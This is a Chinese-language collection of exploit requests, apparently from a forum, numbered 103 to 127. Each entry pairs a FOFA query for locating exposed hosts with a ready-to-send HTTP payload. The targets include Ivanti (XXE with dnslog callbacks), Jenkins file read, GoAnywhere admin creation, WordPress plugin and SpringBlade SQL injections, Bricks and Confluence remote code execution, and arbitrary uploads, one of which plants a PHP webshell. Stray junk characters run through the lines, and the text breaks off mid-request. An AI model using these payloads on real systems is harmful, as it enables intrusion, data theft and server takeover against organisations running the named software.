& C. _5 W3 h7 K<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
6 R* s4 B5 k" v! c
) b( F% S+ c' d! N: D: {7 k103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
& u1 f; H0 G) nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
- X2 Y8 x- K2 E5 `6 {6 g: F0 OContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
# d7 P( g+ {% ]/ i$ r7 r
# u, f* K+ F) L$ X+ hSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
$ f% @2 W/ U" J) b4 {<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
6 c& c, v- `/ N! S9 A/ O# t5 u

' l; F% H% y& t* J- G0 @$ [104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
6 F- a/ a9 N0 H  PPOST /cgi-bin/cstecgi.cgi HTTP/1.1
0 ?/ b5 ]  h) C# {1 F( g" e3 T: xHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
, a2 H$ \& m) _" G. d7 C# mUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
/ X  a8 @; U) f- J/ N' w! EContent-Type: application/x-www-form-urlencoded:charset=UTF-8
) s/ O5 N/ r) B/ G, ]Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
8 `7 E1 C; E2 ]. g6 }Connection:close
" x  s2 F6 x( F, `
{
- @8 B1 L* s( b: q"topicurl":"getSysStatusCfg",
"token":""
}
; h3 q$ N; n& x# z
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
6 x9 K& A& p) l) l! phttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
. v/ w5 Y) X+ F; e+ t1 ?FOFA：body="Saber 将不能正常工作"
' D6 n# k4 u* [3 C+ WGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
& w# J5 n$ E0 k' G3 B, `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
6 U2 }) x8 ]& I' q# Z- eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' V* N" T+ [0 b; g0 k- OConnection: close
( y6 f" W9 J, E: {4 z8 N9 |

107. SpringBlade tenant/list SQL 注入
- i  z3 N" Y) J+ pFOFA：body="https://bladex.vip"
7 B! k2 o% u9 e$ f" qGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
# G8 Y* O$ b0 j2 m( v# u8 |; _) F+ GConnection: close
7 q, A+ b$ s! H. h* }  ^6 l+ @3 {
' k  N- P. O  n7 b6 C" t- o
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
6 D( D4 ]' J  v4 q% W. C. vGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ w% b$ l2 j4 I: ~% `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


109. Jenkins CLI 任意文件读取
5 Z; q& F) m2 Y; d6 @; }$ [( PCVE-2024-23897
FOFA：header="X-Jenkins"
  u. A) V0 N  x9 yPOST /cli?remoting=false HTTP/1.1
& P& R- W; ]/ `1 l/ F6 s9 m7 v2 MHost:
( {( v7 V. w- L6 `- R& U( ]9 x) VContent-type: application/octet-stream
# g0 P" U. u/ I0 x9 o3 H6 ESession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
+ l' j' E- G/ R( I! x7 M( E3 NSide: upload
* E& H/ ?9 O# F$ Y; o& o% qConnection: keep-alive
Content-Length: 163

, |$ f) X6 n8 S! r) s+ xb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

$ f# f* j3 ?  M  }$ X
POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
7 _% D5 y; l$ o7 S' ddownload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

/ f/ t- t4 e) O5 L3 J& [! S
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
# [, v. w0 Y! \; R
% u2 h; N2 d3 c5 [; \% X
110. Goanywhere MFT 未授权创建管理员
9 i" Q2 \$ \0 Q& n" {3 rCVE-2024-0204
" ^" T8 q9 [- P7 B8 mFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
' |# P5 a4 M0 ~8 cGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
6 a# t4 h- L% Y, N/ I9 t# t: ZHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
, C: w5 `" L. m2 mConnection: close
" R+ j2 S2 E  Q3 O1 JAccept: */*
/ j4 P( ]' J8 b8 }( fAccept-Language: en
7 T; y6 j, H) M/ z  sAccept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
- U8 Y' q, X% c3 Q. EFOFA："wordpress" && body="html5-video-player"
' S) u7 _, S8 ]6 `& i8 J3 oGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
! {) H3 a- `) e  f0 PHost: 192.168.40.130:112
( y# Y" B6 m. ~& C/ u. V8 G# ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
5 ?7 B- P1 k+ z- vAccept-Language: en
" m' V. w+ D: a# [: M  _Accept-Encoding: gzip

( j. b' x* Y& N% @0 |
112. WordPress Plugin NotificationX SQL 注入
1 v6 R% @/ j9 \5 m  n3 pCVE-2024-1698
) V* h/ `1 T, s  P) J2 VFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
. R8 o$ h+ H, S& E& L3 nContent-Type: application/json
/ L: m" L+ a" Y  E8 [
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
( c3 A' v* b  w/ w5 W* g9 c. WCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
$ G* {9 ]0 L- _6 @9 F0 R- HAccept: */*
Accept-Language: en
Accept-Encoding: gzip
% H% O3 i9 k3 j

114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
0 _9 f, r" W; s0 h, h2 S" FGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
" x0 I! S3 s" G- D& r8 hUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
. z5 b' j& G! W1 c

115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
" S( |1 J" `' B  ^% U: DGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
4 X3 H' F* j6 r+ Z, e
2 t% n3 A2 O) ?1 e- k0 S( y
* k4 J2 w* [: B, r; f$ h  B第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
7 W+ G2 D% m( f9 c  j" v: FHost: x.x.x.x
+ k4 C+ B/ N4 Y2 G' w! Q4 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
' s. t- I; ]7 r# }, N) HContent-Type: application/json
Accept-Encoding: gzip

" H& [1 f  M  A: U0 {" d( D{
* C5 |0 P. B4 Q# _* Z7 v"postId": "1",
! J% U' H; a! g$ v. Y  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
2 p& }- c" E4 g+ p" }1 d; h        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
& f1 q, M; n. w* P      }
    }
; T9 `" W0 |7 V( e  }
}
$ ^4 @. B2 S4 w& ?. A" m: I( f; L

116. wordpress js-support-ticket文件上传
; [. b$ r! @1 Q6 ]FOFA：body="wp-content/plugins/js-support-ticket"
0 J: Q7 i, k# H: w" fPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
3 q" `' O; P9 y" Z4 [+ t  C; PContent-Type: multipart/form-data; boundary=--------767099171
2 O: W$ k' |4 r7 K' d; C, [User-Agent: Mozilla/5.0
2 a# ~, p# v- O
----------767099171
; C& ~6 g% D- z/ lContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
% n7 q6 B) S7 M, s) K) CContent-Disposition: form-data; name="form_request"
/ F+ {- P( e! ?9 L  D4 o, l5 c' ~jssupportticket
6 s$ R2 T( L* o: S/ M$ x& h" @0 b----------767099171
4 I5 o) d! g; S9 W8 mContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
; \, {' G6 `5 A$ ]  f, G0 P) j: tContent-Type: image/png
----------767099171--
3 Y. V+ a, i3 J: @% z- B/ `" c
6 f/ n; }2 x  q- B& o2 x9 U
! j) h! N% e. a1 c117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
7 }4 U$ d+ b6 y! a7 z( MFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
, R3 _4 r6 ~6 j1 k2 IHost: your-ip
" O( ~: z$ I) [8 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
- ~" ~  h, w+ Y. D8 G  X" kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  Q0 J& ?2 j" c0 oConnection: close
; n0 R/ N& @+ @3 z9 x, R! rUpgrade-Insecure-Requests: 1
% Q3 c& E' q5 t  d) q
* x9 r9 _8 Y( y( @& p1 l
, X( v" q' _/ I- a118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
& O3 E) i# Z* uCVE-2024-0939
& \! l# W' q; eFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
7 W3 a: o3 }, q3 p: r- vHost: 192.168.40.130:8443
  \2 S1 o, x2 E* m1 wCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
# p+ `- O0 ]7 Y) I, cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- g/ i9 `0 Q. G! L' M( AContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
' X3 f* }/ E# E3 h* ^Upgrade-Insecure-Requests: 1
5 Y( _6 p; c% K2 v5 M# {Sec-Fetch-Dest: document
6 U3 z' R+ `* l4 r2 J8 T/ [% ~1 OSec-Fetch-Mode: navigate
. ?5 d# k% b- c( GSec-Fetch-Site: same-origin
: e" R# \. I4 ]Sec-Fetch-User: ?1
( [* k- e7 w) i& `+ q; ?+ a+ [Te: trailers
* k8 l) A& p3 j4 jConnection: close

& s- q8 h! L4 S-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
5 M% ^- m& |( KContent-Type: application/octet-stream

6 E; `4 }0 R: f7 N<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
0 G5 S0 ^3 ~; Q$ e9 J* L6 Z4 [
- I7 M% [8 l4 n' E/ Q6 j) S$ }/home/src.php
-----------------------------13979701222747646634037182887--

/ A" M3 K; v8 j
" _2 F; q, L; i7 y& n0 ~0 P: \; s! ~访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
* b4 W. ^% {, h! ?2 \8 OAccept: */*
1 S$ o* C4 q+ A4 Y* B' P" LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* {, h: _* e; e" T! P5 vAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
& w+ Z7 c9 V9 ^5 g2 n7 T* @6 i5 O' oContent-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
" r* t& ]0 u0 zSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
+ i' f6 D4 e2 EX-Forwarded-For: 1.1.1.1
" P: |1 K6 V$ b  ~5 V. h+ iX-Originating-Ip: 1.1.1.1
" J' f! N5 N9 a5 B8 F1 I! I/ T# V% x) [X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
& {* d' Z% Z' FTe: trailers
Connection: close
0 q" E4 `2 W  p  e. }' |5 V
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
  A/ P2 ]$ B7 n/ n: M1 P. Z1 G* J8 t
) o( v1 n. e! r4 G5 @
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
3 l( c  c& E5 d* ?( U6 L, JFOFA：title="Smart管理平台"
7 x9 s) Y2 p, }) }POST /useratte/web.php? HTTP/1.1
' M8 M* t, j2 I/ A0 O: K9 PHost: ip:port
8 A2 c" n3 R! D  l. }Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
! F; \" }4 F  u4 d1 j7 L+ XUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
4 S. e& h% |6 E3 P' D- K/ BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" L0 s, m  P, z- P% a( cContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
7 L" o- D, I7 F- s& W+ _Content-Length: 597
" l0 }2 J( ^0 F' e% d# Y; _% G- TOrigin: https://ip:port
* Q0 h2 f& u# p5 ?( O9 X- GReferer: https://ip:port/sysmanage/licence.php
, F8 x! B3 y2 g9 U& X4 DUpgrade-Insecure-Requests: 1
, i. q7 r) i& f) aSec-Fetch-Dest: document
; B0 O; V/ k2 V# W5 aSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
! C" s2 g8 m. y! f0 w0 e/ B$ ZTe: trailers
Connection: close
, G9 f9 x' A6 G7 s- m
6 i1 z) }8 ~( m, F) \( m0 x-----------------------------42328904123665875270630079328
8 Y; M& `' b' v; a  f' kContent-Disposition: form-data; name="file_upload"; filename="2.php"
& k% n; e8 |/ D7 ^2 E$ uContent-Type: application/octet-stream
7 C" _4 |* t9 A& q- Q
<?php phpinfo()?>
" s, n, w% l# u! [$ }-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
5 G1 ?# P0 i$ l9 G
3 e1 Q0 Q3 L) s1 ?9 D% H4 M1
% C' K/ H7 J  ~3 z' F  m-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
  j1 M! R: g" u6 v/ r3 f2 i
/ S7 ^/ @" @, p$ j, f; u1_radhttp
, o  E2 H) u6 j-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
) C0 M: ^, q( _2 g( i-----------------------------42328904123665875270630079328

; L) i7 M# ~9 n
1 g+ v3 f/ A3 [4 }文件路径/upload/2.php

) h; J+ |+ J" s; v" ~121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
% B! P& n4 @! \) f+ x" \# MPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 n1 A9 }3 r( z/ w: x4 [. m5 nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; T9 y& e2 u* F4 S$ y- uAccept-Encoding: gzip, deflate
6 h5 ]; @/ R1 V* l& J/ kContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
0 V# h/ }4 G5 U, Q8 D3 h2 C4 b/ FContent-Length: 592
% c- R; Q( W$ _+ N+ R5 D4 ^) V6 _Origin: https://192.168.40.130:8443
# `" _$ `# x7 C! n( w0 wUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
& ~& Q1 T: ]' L$ `2 }5 f6 u' m5 k5 QSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
8 O$ s3 \6 m6 M5 \" r% G6 f# `Te: trailers
) _# i3 x9 w; ^7 |! o! lConnection: close
/ i. G& a  I% ^, a. Y% K* l- J, W* l
-----------------------------42328904123665875270630079328
3 o; L/ `' F) x- ?Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
7 I9 _) C3 N$ F; C$ y4 D( h$ F% ?-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

9 v6 W$ b$ E. x9 p/ O1_radhttp
" }, v7 z" |, F-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
' {3 Z, v. E4 ]. {; R
set
-----------------------------42328904123665875270630079328
& C5 y# H4 {$ \/ Y
) N/ X7 C) j& J  b
" [! a/ R+ D2 a1 vboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
& [( r8 |# R/ g4 g7 e" y' q7 ECVE-2024-27718FOFA：title="Smart管理平台"
1 B4 Q+ |1 n" t- }3 b) [0 B其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
1 g; C, }/ t, k% Z) w7 {* f2 y( bGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 i) ^0 I& b; q0 K4 ]4 Y( h! iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" E+ X, ]4 |0 |5 @) [Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
# s* j1 H5 ]) F; J0 B- V; `+ F8 @Sec-Fetch-Dest: document
+ c! X, U: ~& b: G/ _  JSec-Fetch-Mode: navigate
: z* H" h1 L% p* T6 ?# Y7 [! ~* LSec-Fetch-Site: none
' }5 ]9 K5 X, S5 L+ ?  wSec-Fetch-User: ?1
7 O( [$ g$ K; {6 j( cTe: trailers
Connection: close
+ r( t3 z, ]; D
8 e7 d" {! F- I# Y0 s) R% m
123. Atlassian Confluence 模板注入代码执行
% I* {- P& G( w+ ?0 @FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
; v& H# c' D/ ?POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
6 ]; j! q0 h1 o* @) e* KAccept-Language: en-US;q=0.9,en;q=0.8
  L5 L( l( {, i" b+ ~5 _# t3 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
1 J' O/ y, z& ?# Z" ^# LConnection: close
$ |, ^7 n+ x: R0 q% mContent-Type: application/x-www-form-urlencoded
' k( ^# t7 C0 _2 ~! I' B
8 v+ A% F# ?4 S, \$ [# ?/ F& Qlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
7 t2 \/ d" d8 G5 w# [. i1 o# Y

0 t. f! B6 s: |' l0 s& }124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
& m: {! ^0 T0 ~9 T* pPOST /Scripts/admintool?type=updatefile HTTP/1.1
1 J/ B) _2 |1 K: pHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
+ B  ?( F9 A/ ?; q, r' L$ ?; YContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
$ o3 \$ t. o. p3 NContent-Type: application/x-www-form-urlencoded
% ~- f) Y7 g- x+ e
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
8 i& p& V- r& O. Z1 r9 \( Z4 b% {

8 y: u7 y9 I6 \* z" f! C5 Y% e6 T/ Phttp://192.168.40.130:8282/Scripts/abcgcg.aspx

; _: n6 }% }" m  G( v/ t125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
7 ^& O* H- R; d! m; \7 g/ z7 k

: y" U8 e9 j3 V# u( A8 W; l使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。

: n8 f, Z# u9 \5 R; m126. Aiohttp 路径遍历
5 @* G4 I* d/ @- S* I: v" F) IFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
: u$ P. D. K( Z5 Z1 J( ^( ~& WHost: x.x.x.x
, K7 k! }0 }$ k* y6 y/ D1 r2 q0 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
9 z6 d: V5 i- l' t3 I0 vAccept-Language: en
; X% o  F4 h! N% I! i+ lAccept-Encoding: gzip
! e, ?& n7 D' ~3 k2 C" Y8 m
! T4 J8 G" c; i" y, ?! m  N) S8 p
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
8 k4 J' _; g8 [, v# m) KHost: 192.168.40.130:8888
8 l2 q( @6 Q$ R$ A6 T7 ]! nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% h5 i2 L' R, g& |  ?Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
6 ^& j  [0 o! r& R0 E& h+ D1 xPurpose: prefetch
Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
